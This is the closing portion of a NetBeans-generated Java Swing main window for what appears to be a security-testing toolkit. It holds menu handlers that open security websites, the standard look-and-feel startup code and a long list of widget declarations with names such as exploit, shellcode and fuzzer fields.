        String url = "https://blackarch.org/";
        try {
            Desktop.getDesktop().browse(java.net.URI.create(url));

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jMenuItem71ActionPerformed

    private void jMenuItem69ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem69ActionPerformed
        // TODO add your handling code here:

        String url = " http://reversing.kr/";
        try {
            Desktop.getDesktop().browse(java.net.URI.create(url));

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jMenuItem69ActionPerformed

    private void jButton36ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton36ActionPerformed
        // TODO add your handling code here:
        String url = "https://packetstormsecurity.com/files/author/8889/";
        try {
            Desktop.getDesktop().browse(java.net.URI.create(url));

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jButton36ActionPerformed

    private void jButton38ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton38ActionPerformed
        // TODO add your handling code here:
        String url = "https://www.youtube.com/channel/UCPeSvDMCjG_kaAhVkxT9t7Q";
        try {
            Desktop.getDesktop().browse(java.net.URI.create(url));

        } catch (IOException ex) {
            Logger.getLogger(MainFrame.class
                    .getName()).log(Level.SEVERE, null, ex);
        }
    }//GEN-LAST:event_jButton38ActionPerformed

    private void jMenuItem47ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jMenuItem47ActionPerformed
        // TODO add your handling code here:
        Notepad.main(null);
    }//GEN-LAST:event_jMenuItem47ActionPerformed

    /**
     * @param args the command line arguments
     */
    public static void main(String args[]) {
        /* Set the Nimbus look and feel */
        //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
        /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
         * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
         */
        try {
            for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
                if ("Nimbus".equals(info.getName())) {
                    javax.swing.UIManager.setLookAndFeel(info.getClassName());
                    break;

                }
            }
        } catch (ClassNotFoundException | InstantiationException | IllegalAccessException | javax.swing.UnsupportedLookAndFeelException ex) {
            java.util.logging.Logger.getLogger(MainFrame.class
                    .getName()).log(java.util.logging.Level.SEVERE, null, ex);
        }
        //</editor-fold>

        /* Create and display the form */
        java.awt.EventQueue.invokeLater(new Runnable() {
            public void run() {
                new MainFrame().setVisible(true);
            }
        });
    }

    // Variables declaration - do not modify//GEN-BEGIN:variables
    private javax.swing.JButton jButton1;
    private javax.swing.JButton jButton10;
    private javax.swing.JButton jButton11;
    private javax.swing.JButton jButton12;
    private javax.swing.JButton jButton13;
    private javax.swing.JButton jButton14;
    private javax.swing.JButton jButton15;
    private javax.swing.JButton jButton16;
    private javax.swing.JButton jButton17;
    private javax.swing.JButton jButton18;
    private javax.swing.JButton jButton19;
    private javax.swing.JButton jButton2;
    private javax.swing.JButton jButton20;
    private javax.swing.JButton jButton21;
    private javax.swing.JButton jButton22;
    private javax.swing.JButton jButton23;
    private javax.swing.JButton jButton24;
    private javax.swing.JButton jButton25;
    private javax.swing.JButton jButton26;
    private javax.swing.JButton jButton27;
    private javax.swing.JButton jButton28;
    private javax.swing.JButton jButton29;
    private javax.swing.JButton jButton3;
    private javax.swing.JButton jButton30;
    private javax.swing.JButton jButton31;
    private javax.swing.JButton jButton32;
    private javax.swing.JButton jButton33;
    private javax.swing.JButton jButton34;
    private javax.swing.JButton jButton35;
    private javax.swing.JButton jButton36;
    private javax.swing.JButton jButton37;
    private javax.swing.JButton jButton38;
    private javax.swing.JButton jButton4;
    private javax.swing.JButton jButton5;
    private javax.swing.JButton jButton6;
    private javax.swing.JButton jButton7;
    private javax.swing.JButton jButton8;
    private javax.swing.JButton jButton9;
    private javax.swing.JButton jButtonExecution;
    private javax.swing.JButton jButtonFuzzer;
    private javax.swing.JButton jButtonFuzzer1;
    private javax.swing.JButton jButtonFuzzer2;
    private javax.swing.JButton jButtonSearch;
    private javax.swing.JButton jButtonShell;
    private javax.swing.JButton jButtonShell1;
    private javax.swing.JCheckBox jCheckBox2;
    private javax.swing.JCheckBox jCheckBoxAll;
    private javax.swing.JCheckBox jCheckBoxLower;
    private javax.swing.JCheckBox jCheckBoxNoArgs;
    private javax.swing.JCheckBox jCheckBoxPattern;
    private javax.swing.JCheckBox jCheckBoxRandom;
    private javax.swing.JCheckBox jCheckBoxSocketRandom;
    private javax.swing.JCheckBox jCheckBoxUpper;
    private javax.swing.JComboBox jComboBox1;
    private javax.swing.JComboBox jComboBoxCustom1;
    private javax.swing.JComboBox jComboBoxCustom2;
    private javax.swing.JComboBox<String> jComboBoxFuzzType;
    private javax.swing.JComboBox jComboBoxShellcode;
    private javax.swing.JLabel jLabel1;
    private javax.swing.JLabel jLabel10;
    private javax.swing.JLabel jLabel11;
    private javax.swing.JLabel jLabel12;
    private javax.swing.JLabel jLabel13;
    private javax.swing.JLabel jLabel14;
    private javax.swing.JLabel jLabel15;
    private javax.swing.JLabel jLabel16;
    private javax.swing.JLabel jLabel17;
    private javax.swing.JLabel jLabel18;
    private javax.swing.JLabel jLabel19;
    private javax.swing.JLabel jLabel2;
    private javax.swing.JLabel jLabel20;
    private javax.swing.JLabel jLabel21;
    private javax.swing.JLabel jLabel22;
    private javax.swing.JLabel jLabel23;
    private javax.swing.JLabel jLabel24;
    private javax.swing.JLabel jLabel25;
    private javax.swing.JLabel jLabel26;
    private javax.swing.JLabel jLabel27;
    private javax.swing.JLabel jLabel28;
    private javax.swing.JLabel jLabel29;
    private javax.swing.JLabel jLabel3;
    private javax.swing.JLabel jLabel30;
    private javax.swing.JLabel jLabel31;
    private javax.swing.JLabel jLabel32;
    private javax.swing.JLabel jLabel33;
    private javax.swing.JLabel jLabel34;
    private javax.swing.JLabel jLabel38;
    private javax.swing.JLabel jLabel39;
    private javax.swing.JLabel jLabel4;
    private javax.swing.JLabel jLabel5;
    private javax.swing.JLabel jLabel6;
    private javax.swing.JLabel jLabel7;
    private javax.swing.JLabel jLabel8;
    private javax.swing.JLabel jLabel9;
    private javax.swing.JLabel jLabelInterface;
    private javax.swing.JLabel jLabelPlatform;
    private javax.swing.JLabel jLabelTargetName;
    private javax.swing.JLabel jLabelWelcome;
    private javax.swing.JMenu jMenu1;
    private javax.swing.JMenu jMenu10;
    private javax.swing.JMenu jMenu11;
    private javax.swing.JMenu jMenu12;
    private javax.swing.JMenu jMenu13;
    private javax.swing.JMenu jMenu14;
    private javax.swing.JMenu jMenu15;
    private javax.swing.JMenu jMenu16;
    private javax.swing.JMenu jMenu17;
    private javax.swing.JMenu jMenu18;
    private javax.swing.JMenu jMenu2;
    private javax.swing.JMenu jMenu3;
    private javax.swing.JMenu jMenu4;
    private javax.swing.JMenu jMenu5;
    private javax.swing.JMenu jMenu6;
    private javax.swing.JMenu jMenu7;
    private javax.swing.JMenu jMenu8;
    private javax.swing.JMenu jMenu9;
    private javax.swing.JMenuBar jMenuBar1;
    private javax.swing.JMenuItem jMenuItem1;
    private javax.swing.JMenuItem jMenuItem10;
    private javax.swing.JMenuItem jMenuItem11;
    private javax.swing.JMenuItem jMenuItem12;
    private javax.swing.JMenuItem jMenuItem13;
    private javax.swing.JMenuItem jMenuItem14;
    private javax.swing.JMenuItem jMenuItem15;
    private javax.swing.JMenuItem jMenuItem16;
    private javax.swing.JMenuItem jMenuItem17;
    private javax.swing.JMenuItem jMenuItem18;
    private javax.swing.JMenuItem jMenuItem19;
    private javax.swing.JMenuItem jMenuItem2;
    private javax.swing.JMenuItem jMenuItem20;
    private javax.swing.JMenuItem jMenuItem21;
    private javax.swing.JMenuItem jMenuItem22;
    private javax.swing.JMenuItem jMenuItem23;
    private javax.swing.JMenuItem jMenuItem24;
    private javax.swing.JMenuItem jMenuItem25;
    private javax.swing.JMenuItem jMenuItem26;
    private javax.swing.JMenuItem jMenuItem27;
    private javax.swing.JMenuItem jMenuItem28;
    private javax.swing.JMenuItem jMenuItem29;
    private javax.swing.JMenuItem jMenuItem3;
    private javax.swing.JMenuItem jMenuItem30;
    private javax.swing.JMenuItem jMenuItem31;
    private javax.swing.JMenuItem jMenuItem32;
    private javax.swing.JMenuItem jMenuItem33;
    private javax.swing.JMenuItem jMenuItem34;
    private javax.swing.JMenuItem jMenuItem35;
    private javax.swing.JMenuItem jMenuItem36;
    private javax.swing.JMenuItem jMenuItem37;
    private javax.swing.JMenuItem jMenuItem38;
    private javax.swing.JMenuItem jMenuItem39;
    private javax.swing.JMenuItem jMenuItem4;
    private javax.swing.JMenuItem jMenuItem40;
    private javax.swing.JMenuItem jMenuItem41;
    private javax.swing.JMenuItem jMenuItem42;
    private javax.swing.JMenuItem jMenuItem43;
    private javax.swing.JMenuItem jMenuItem44;
    private javax.swing.JMenuItem jMenuItem45;
    private javax.swing.JMenuItem jMenuItem46;
    private javax.swing.JMenuItem jMenuItem47;
    private javax.swing.JMenuItem jMenuItem48;
    private javax.swing.JMenuItem jMenuItem49;
    private javax.swing.JMenuItem jMenuItem5;
    private javax.swing.JMenuItem jMenuItem50;
    private javax.swing.JMenuItem jMenuItem51;
    private javax.swing.JMenuItem jMenuItem52;
    private javax.swing.JMenuItem jMenuItem53;
    private javax.swing.JMenuItem jMenuItem54;
    private javax.swing.JMenuItem jMenuItem55;
    private javax.swing.JMenuItem jMenuItem56;
    private javax.swing.JMenuItem jMenuItem57;
    private javax.swing.JMenuItem jMenuItem58;
    private javax.swing.JMenuItem jMenuItem59;
    private javax.swing.JMenuItem jMenuItem6;
    private javax.swing.JMenuItem jMenuItem60;
    private javax.swing.JMenuItem jMenuItem61;
    private javax.swing.JMenuItem jMenuItem62;
    private javax.swing.JMenuItem jMenuItem63;
    private javax.swing.JMenuItem jMenuItem64;
    private javax.swing.JMenuItem jMenuItem65;
    private javax.swing.JMenuItem jMenuItem66;
    private javax.swing.JMenuItem jMenuItem67;
    private javax.swing.JMenuItem jMenuItem68;
    private javax.swing.JMenuItem jMenuItem69;
    private javax.swing.JMenuItem jMenuItem7;
    private javax.swing.JMenuItem jMenuItem71;
    private javax.swing.JMenuItem jMenuItem8;
    private javax.swing.JMenuItem jMenuItem9;
    private javax.swing.JPanel jPanel1;
    private javax.swing.JPanel jPanel10;
    private javax.swing.JPanel jPanel11;
    private javax.swing.JPanel jPanel12;
    private javax.swing.JPanel jPanel13;
    private javax.swing.JPanel jPanel14;
    private javax.swing.JPanel jPanel15;
    private javax.swing.JPanel jPanel16;
    private javax.swing.JPanel jPanel17;
    private javax.swing.JPanel jPanel18;
    private javax.swing.JPanel jPanel19;
    private javax.swing.JPanel jPanel2;
    private javax.swing.JPanel jPanel20;
    private javax.swing.JPanel jPanel21;
    private javax.swing.JPanel jPanel22;
    private javax.swing.JPanel jPanel23;
    private javax.swing.JPanel jPanel24;
    private javax.swing.JPanel jPanel25;
    private javax.swing.JPanel jPanel26;
    private javax.swing.JPanel jPanel27;
    private javax.swing.JPanel jPanel28;
    private javax.swing.JPanel jPanel29;
    private javax.swing.JPanel jPanel3;
    private javax.swing.JPanel jPanel30;
    private javax.swing.JPanel jPanel31;
    private javax.swing.JPanel jPanel32;
    private javax.swing.JPanel jPanel33;
    private javax.swing.JPanel jPanel34;
    private javax.swing.JPanel jPanel35;
    private javax.swing.JPanel jPanel4;
    private javax.swing.JPanel jPanel5;
    private javax.swing.JPanel jPanel6;
    private javax.swing.JPanel jPanel7;
    private javax.swing.JPanel jPanel8;
    private javax.swing.JPanel jPanel9;
    private javax.swing.JPanel jPanelDashboard;
    private javax.swing.JPanel jPanelEditor;
    private javax.swing.JPanel jPanelTargets;
    private javax.swing.JPopupMenu jPopupMenu1;
    private javax.swing.JProgressBar jProgressBarModuleStatus;
    private javax.swing.JScrollPane jScrollPane1;
    private javax.swing.JScrollPane jScrollPane10;
    private javax.swing.JScrollPane jScrollPane11;
    private javax.swing.JScrollPane jScrollPane12;
    private javax.swing.JScrollPane jScrollPane13;
    private javax.swing.JScrollPane jScrollPane15;
    private javax.swing.JScrollPane jScrollPane17;
    private javax.swing.JScrollPane jScrollPane18;
    private javax.swing.JScrollPane jScrollPane19;
    private javax.swing.JScrollPane jScrollPane2;
    private javax.swing.JScrollPane jScrollPane20;
    private javax.swing.JScrollPane jScrollPane3;
    private javax.swing.JScrollPane jScrollPane4;
    private javax.swing.JScrollPane jScrollPane5;
    private javax.swing.JScrollPane jScrollPane6;
    private javax.swing.JScrollPane jScrollPane7;
    private javax.swing.JScrollPane jScrollPane8;
    private javax.swing.JScrollPane jScrollPane9;
    private javax.swing.JToolBar.Separator jSeparator1;
    private javax.swing.JToolBar.Separator jSeparator10;
    private javax.swing.JToolBar.Separator jSeparator11;
    private javax.swing.JToolBar.Separator jSeparator12;
    private javax.swing.JPopupMenu.Separator jSeparator13;
    private javax.swing.JPopupMenu.Separator jSeparator14;
    private javax.swing.JPopupMenu.Separator jSeparator15;
    private javax.swing.JPopupMenu.Separator jSeparator16;
    private javax.swing.JPopupMenu.Separator jSeparator17;
    private javax.swing.JPopupMenu.Separator jSeparator18;
    private javax.swing.JPopupMenu.Separator jSeparator19;
    private javax.swing.JToolBar.Separator jSeparator2;
    private javax.swing.JPopupMenu.Separator jSeparator20;
    private javax.swing.JPopupMenu.Separator jSeparator21;
    private javax.swing.JToolBar.Separator jSeparator22;
    private javax.swing.JToolBar.Separator jSeparator23;
    private javax.swing.JToolBar.Separator jSeparator24;
    private javax.swing.JToolBar.Separator jSeparator25;
    private javax.swing.JPopupMenu.Separator jSeparator26;
    private javax.swing.JPopupMenu.Separator jSeparator27;
    private javax.swing.JPopupMenu.Separator jSeparator28;
    private javax.swing.JPopupMenu.Separator jSeparator29;
    private javax.swing.JToolBar.Separator jSeparator3;
    private javax.swing.JToolBar.Separator jSeparator30;
    private javax.swing.JPopupMenu.Separator jSeparator31;
    private javax.swing.JPopupMenu.Separator jSeparator32;
    private javax.swing.JPopupMenu.Separator jSeparator33;
    private javax.swing.JPopupMenu.Separator jSeparator34;
    private javax.swing.JToolBar.Separator jSeparator35;
    private javax.swing.JPopupMenu.Separator jSeparator36;
    private javax.swing.JToolBar.Separator jSeparator37;
    private javax.swing.JSeparator jSeparator38;
    private javax.swing.JToolBar.Separator jSeparator39;
    private javax.swing.JToolBar.Separator jSeparator4;
    private javax.swing.JToolBar.Separator jSeparator40;
    private javax.swing.JToolBar.Separator jSeparator41;
    private javax.swing.JToolBar.Separator jSeparator42;
    private javax.swing.JToolBar.Separator jSeparator43;
    private javax.swing.JToolBar.Separator jSeparator44;
    private javax.swing.JToolBar.Separator jSeparator45;
    private javax.swing.JToolBar.Separator jSeparator46;
    private javax.swing.JToolBar.Separator jSeparator47;
    private javax.swing.JPopupMenu.Separator jSeparator48;
    private javax.swing.JPopupMenu.Separator jSeparator49;
    private javax.swing.JToolBar.Separator jSeparator5;
    private javax.swing.JPopupMenu.Separator jSeparator50;
    private javax.swing.JToolBar.Separator jSeparator51;
    private javax.swing.JToolBar.Separator jSeparator52;
    private javax.swing.JToolBar.Separator jSeparator53;
    private javax.swing.JToolBar.Separator jSeparator54;
    private javax.swing.JPopupMenu.Separator jSeparator55;
    private javax.swing.JPopupMenu.Separator jSeparator56;
    private javax.swing.JPopupMenu.Separator jSeparator57;
    private javax.swing.JToolBar.Separator jSeparator58;
    private javax.swing.JPopupMenu.Separator jSeparator59;
    private javax.swing.JToolBar.Separator jSeparator6;
    private javax.swing.JToolBar.Separator jSeparator60;
    private javax.swing.JToolBar.Separator jSeparator7;
    private javax.swing.JToolBar.Separator jSeparator8;
    private javax.swing.JSeparator jSeparator9;
    private javax.swing.JTabbedPane jTabbedPane;
    private javax.swing.JTabbedPane jTabbedPane1;
    private javax.swing.JTabbedPane jTabbedPane2;
    private javax.swing.JTextArea jTextAreaAppLog;
    private javax.swing.JTextArea jTextAreaDebugging;
    private javax.swing.JTextArea jTextAreaEncodeDecodeResults;
    private javax.swing.JTextArea jTextAreaFuzzerLog;
    private javax.swing.JTextArea jTextAreaFuzzerLog2;
    private javax.swing.JTextArea jTextAreaPentestFooter;
    private javax.swing.JTextArea jTextAreaPentestHeader;
    private javax.swing.JTextArea jTextAreaQuickInfo;
    private javax.swing.JTextArea jTextAreaShellcode;
    private javax.swing.JTextArea jTextAreaShellcodeList;
    private javax.swing.JTextArea jTextAreaSocketFuzz;
    private javax.swing.JTextArea jTextAreaUTFResults;
    private javax.swing.JTextField jTextField1;
    private javax.swing.JTextField jTextFieldCustom1;
    private javax.swing.JTextField jTextFieldCustom2;
    private javax.swing.JTextField jTextFieldCustomDesc1;
    private javax.swing.JTextField jTextFieldCustomDesc2;
    private javax.swing.JTextField jTextFieldEncodeDecode;
    private javax.swing.JTextField jTextFieldExtraOptions;
    private javax.swing.JTextField jTextFieldFuzzBinary;
    private javax.swing.JTextField jTextFieldFuzzChar;
    private javax.swing.JTextField jTextFieldFuzzHost;
    private javax.swing.JTextField jTextFieldFuzzPort;
    private javax.swing.JTextField jTextFieldLocalHost;
    private javax.swing.JTextField jTextFieldPentestImage;
    private javax.swing.JTextField jTextFieldPentestName;
    private javax.swing.JTextField jTextFieldPentestSubTittle;
    private javax.swing.JTextField jTextFieldProjectN;
    private javax.swing.JTextField jTextFieldSearch;
    private javax.swing.JTextField jTextFieldShellinput;
    private javax.swing.JTextField jTextFieldSocketData;
    private javax.swing.JTextField jTextFieldSocketPort;
    private javax.swing.JTextField jTextFieldSocketURL;
    private javax.swing.JTextField jTextFieldTargetH;
    private javax.swing.JTextField jTextFieldTargetP;
    private javax.swing.JTextField jTextFieldTargetPath;
    private javax.swing.JTextField jTextFieldUTF;
    private javax.swing.JTextField jTextFieldUTFAmount;
    private javax.swing.JTextField jTextFieldshellPort;
    private javax.swing.JToolBar jToolBar1;
    private javax.swing.JToolBar jToolBar2;
    private javax.swing.JToolBar jToolBar3;
    private javax.swing.JTree jTreeExploits;
    private javax.swing.JTree jTreeModuleStatus;
    private javax.swing.JTree jTreeNotepad;
    private javax.swing.JTree jTreeRAT;
    private javax.swing.JTree jTreeRemoteScanner;
    private javax.swing.JTree jTreeTools;
    // End of variables declaration//GEN-END:variables

}
